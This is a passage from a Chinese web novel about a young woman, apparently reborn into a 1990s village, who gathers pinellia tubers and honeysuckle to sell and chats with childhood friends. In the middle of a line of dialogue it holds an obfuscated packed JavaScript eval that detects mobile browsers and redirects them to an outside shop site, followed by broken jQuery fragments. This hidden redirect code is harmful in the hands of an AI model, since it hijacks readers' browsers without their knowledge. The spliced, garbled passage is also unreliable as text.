不过现在还没办法种草莓。
现在县市里只有少量农户种着零星草莓,且都是四五月份结果的露天草莓。
她在中师有个同学家里就种了小块的草莓自家吃,那个同学给班上的同学带过一次,个头小,味道比较酸,想在本市买到优质的草莓苗比较难。
而种露天草莓的收益并不是很高,想拿草莓挣钱,还是得搭大棚,反季上市,冬天水果少一些,且临近过年,红彤彤的草莓才能卖上好价钱。
戚梦夏需要把种草莓一事往后挪,等她有资金了再说。
唉,叹气,早知道她会回到九十年代,当初她就应该少把悠闲时间都花在刷田园乡村视频和种植视频上,而是多去学点做小吃糕点的手艺,这会儿想搞份副业多挣点钱也不用这么苦恼了。
她得仔细回想一下,如果种东西的话有什么两个月就能成熟的,且好卖价格也不是太低的。记忆融合已经过去三年,这三年里她尽在学校里拼命搞学习去了,现在翻找这方面的记忆还得花些时间。
乡下没什么娱乐,每天晚上都睡得早,第二天自然也起得早,天刚亮,外头的公鸡开始打鸣,戚梦夏就跟着睁开眼,拖拖拉拉地爬起来。
还不到六点钟。
爷爷奶奶在厨房里烧火做饭,她去菜园子里摘满一畚箕的老菜叶子回来,端个小板凳坐着,开始在院子里剁菜。
早晨的清风吹过来,十分凉爽,空气也清新好闻,都是露水草木香味,伴随着菜刀和砧板相撞的‘笃笃’‘笃笃’‘笃笃’声不断,院子一角冒起炊烟,稀松平常的一天又开始了。
因为每天都要干活,早出晚归整天忙个不停,消耗大,她们这儿习惯早上就炒菜做饭,做好一天的饭菜,吃得饱饱的去下地,中午晚上直接吃冷饭,热都不用热。
孩子不在家的时候,老两口吃得简单,有时候切几片腊肉蒸一下,或者直接弄碗凉拌菜,就能吃上一天,有的时候菜也不用做,直接往饭碗里倒点猪油再倒点酱油一拌,就又是香喷喷的一餐。
“奶,今天地里有什么活?我也去帮忙。”
戚奶奶往孙女碗里夹了块肉多骨头少的腊鱼,问道:“你的事情都忙完了?”
她这两天就看着孙女带着一本本子一支笔地满村子跑,一问,说是想找找什么挣钱的法子。
即便对家里这个最高学历的孙女自带文化人的滤镜,戚奶奶也不敢说挣钱的法子有那么好寻,不然大家早就发财了,哪至于现在绝大部分人还过着不那么松快的日子。
不过老太太虽然没什么文化,但向来也不爱做反对的事说反驳的话,后辈一代比一代强,她大字不识几个,什么都不懂,还是别乱指挥的好,随着年轻人去折腾吧。
折腾出头了,自然高兴,折腾得竹篮打水一场空了,家里也总不缺那口饭吃。
“昂,现在村里有什么我都可熟悉了,我先跟着你们去干几小时活,等九十点树上的露水干了,我就去采金银花,我看中两片宝地,少说能采几斤。”
“我前段日子也晒了些金银花,应该有个二三两,还没带去镇上卖。”
“明天镇上刚好是赶集日,顺带把晒好的油菜籽拿去榨成油。”戚爷爷又扫了眼屋里,琢磨着还要带些什么东西去街上卖,“夏夏,你要不要一起去镇上玩?家里也没什么吃的了,我给你钱,想买什么自己买。”
戚奶奶赞同道:“你现在毕业了有空,也可以回镇中学去看看你以前的老师,要是这次你分到镇小学教书,以后和他们打交道的时间多,关系要搞好。”
戚梦夏不是很想去,“奶,我就不去了,回头我还想去趟市里,你们攒的一些药材都留下吧,我送到市里去收购价更高一些。”
“也行。”
早饭过后,戚梦夏快速刷好碗,提上泡过水的锄头,带上草帽,背上篓子,跟着下地。
今天要处理的是收割完油菜的那块地,先把地翻一遍,再晒上两天,就得把红薯秧种下去了。
远远看去,地里长满了绿色的杂草。
戚梦夏有段时间没有锄地,第一下挖下去力道不深,把泥土往外一掘,她忽然觉得随着泥土被掘出来的绿色植物有些眼熟,蹲下拿起一株,敲掉上面的泥土,看了看又看,忽然一拍脑袋,想起来了。
从土里挖出来一个比鸽子蛋还小些的圆球,圆球上露出土面的是一根十来公分长的茎,茎顶长着整齐漂亮的三片叶子,长相很可爱的同时,它还有一个好听的名字——半夏。
她赶紧喊停爷奶的动作,“爷,奶,等等,这种植物也是一种中药材,能拿去收购点卖的,你们别浪费了,都捡起来。”
“真的?这东西也能卖钱啊?”戚爷爷戚奶奶凑近来看了又看,这东西就是他们最讨厌的,油菜地里老爱长的杂草,戚奶奶一拍大腿,后悔,“以前我们都不认得,每年都是当杂草翻进土里沤成肥了,这得浪费多少钱了。”
戚爷爷:“不止油菜地,村里山坡田埂草地,到处都有,这种草我们这儿常见得很。”
戚奶奶庆幸:“得亏这块地我们今儿才翻,要是早几天翻,就又浪费一块地的药材了。”
中药材这种东西本来就又多又杂,真要较真起来,估计地上随便拔一株野草,对中医来说,它多多少少能有些药效和用处。
而村里信息来源匮乏,大家对药材的了解,一是自身能经常用到的,从长辈们口口相传中得知,像一些止血草、治头痛牙痛等疼痛的,还有一些凉茶。二是由镇上收购点告知,收购点爱收什么,他们就能认识什么。
所以村里地头山间的好些草药大家都不认识也正常。
戚梦夏倒是高兴,她这些天光惦记着以往和小伙伴们摘去镇上卖的药材了,一时没多注意别的。不过她认识的药材也不多,就认识些这种田间地头常见容易被人当野草的草药,当初因为好奇刷了很多这种视频,反而是那些贵价的药材她不怎么认识。
有了草药的加成,她干起活来都更起劲了,时不时掘起几块土,再用锄头敲碎,最后把里面的半夏头全都摘下扔进篓子里,叶子则继续留在土里沤肥了。
“爷,奶,这个篓子留着你们装半夏,我去摘金银花了。”
老两口头都没抬,“知道了,小心点,现在天热了蛇虫也多。”
“知道。”
戚梦夏以前是不怎么怕蛇的,毕竟在乡下蛇和其他野味都是能给家里添道肉菜或者拿去卖钱的东西,遇到蛇大家开心呢,就连毒蛇都有勇士专门去山里捉,而在镇上就有专门一块地方用来进行蛇类交易,有好几个蛇贩子,每到赶集日大人小孩都爱往那儿去长见识瞧热闹。
但融合了上辈子记忆的她就有些不行了,虽然没像上辈子一样那么恐惧蛇,但一想到心底也会毛毛的,不想碰到,碰到也只想远离。
回家重新换了个篓子,还带上一把长钩刀,遇到草丛密集的地方先敲打一番再走过去,等到第一片金银花采摘地,已经有两个年轻姑娘在摘着了。
“哎,夏夏,你也来摘金银花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778467|210059||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了啊?”对方两人看到她有些惊讶。
“听我婆婆说你回来了,我还想着找你玩呢,但这些天不是忙着带孩子就是忙着下地干活,一点空闲都没有。”高一点的姑娘说道,她叫古玉芳,比梦夏大一岁,两人当过两年初中同学,初中毕业后就没继续念下去,回家嫁人了,嫁来三水村,今年年初生了个闺女。
另一个姑娘叫丁凤英,是本村人,比梦夏小一岁,今年十七,村里同龄的孩子不多,故而年龄差在四五岁之内的从小就是混在一起玩,所以梦夏和丁凤英也算是发小。
她走过去把篓子背到前面,加入她们的采摘行列,“你没看到我,我这几天在村里瞎转悠,倒是看到你了,还看到你家孩子,被你婆婆抱着,养得真好,白白胖胖的惹人爱,长得也像你。”
古玉芳笑着唾她一句:“看到我也不上来打个招呼,咋地,这就生疏了?”
“哪啊,我这不是看你当时正忙着吗,没好来打扰你。”
丁凤英看她那动作,也跟着打趣道:“是不是很久没干农活了,看你摘金银花的手速都不比以前,以前我可回回都抢不过你的。”
古玉芳:“估计夏夏想让着我们呢。”
“你俩等着,等我手速上来了,你俩别对着我哭,求我慢点。”戚梦夏纯粹是手速一时没适应,她打从去市里读中专后,确实是很久没怎么正经干过活。
每次双休回来,爷奶都说她读书辛苦,这也不让干那也不让干,她自己也有点懒散,导致每星期回家里就是舒舒服服地躺两天,吃好喝好补充精力,然后又拍拍屁股拎着大包小包地回学校。
一边闲聊一边干活,摘了十来分钟后,戚梦夏感觉她找回以前的速度了,另外俩也不甘落后,三个人你争我抢的,不到半小时就把这一大片全给摘光了,后面再有人来,只能看到光秃秃的一片绿。
三人眼神一对视,不用说,都默契地往另外的地方去,有心挣这个钱的人,早把村里到处摸透了。
三块地方都摘完,三个人的篓子也都装得满满的,身上衣服裤子也给汗湿了,额头上还在哗啦啦地往下流汗,头发也变成半湿不干的。
“这一篓子也能晒个一两斤出来。”丁凤英满意地拎了拎篓子,回去按没开的花蕾和开了的花分开晾干,前者品质更好价格也更高,按四块二一斤收购,后者价格低一些,两块八一斤,这一篓子少说能卖个五块钱。
她看向梦夏,问道:“去不去捡田螺?镇上有人收,带壳三分钱一斤,不带壳的肉一毛钱一斤,都要新鲜的。”
古玉芳也附和劝道:“一起啊,现在田里稻子快要收了,不能下去,但溪里池塘里的田螺多得是,咱们捡多少都是挣的。”
物以类聚人以群分,长大后还能玩到一起的,说明起码性子合得来。
古玉芳和丁凤英两人不会觉得戚梦夏马上就有铁饭碗工作、拿稳定工资的人了,就不应该再来跟她们这些地里找食的人抢着挣这些小钱。
这些药材野货就长在村里野地里,只要是村里的人,就能有资格摘去卖。
“行啊,不过上午太阳好,我想先去挖半夏洗干净晒着,之后再去捡田螺,你们也先跟我去挖半夏吧。”梦夏投桃报李,邀请道。
“半夏?”丁凤英纳闷地看看古玉芳,看到同样一张疑惑的脸,转回看向梦夏问道:“是什么?”
“喏,这种,油菜地里最泛滥的野草,底下的头挖起来洗干净晒干能拿去卖。”戚梦夏踢了踢脚边就长着的几株野生半夏。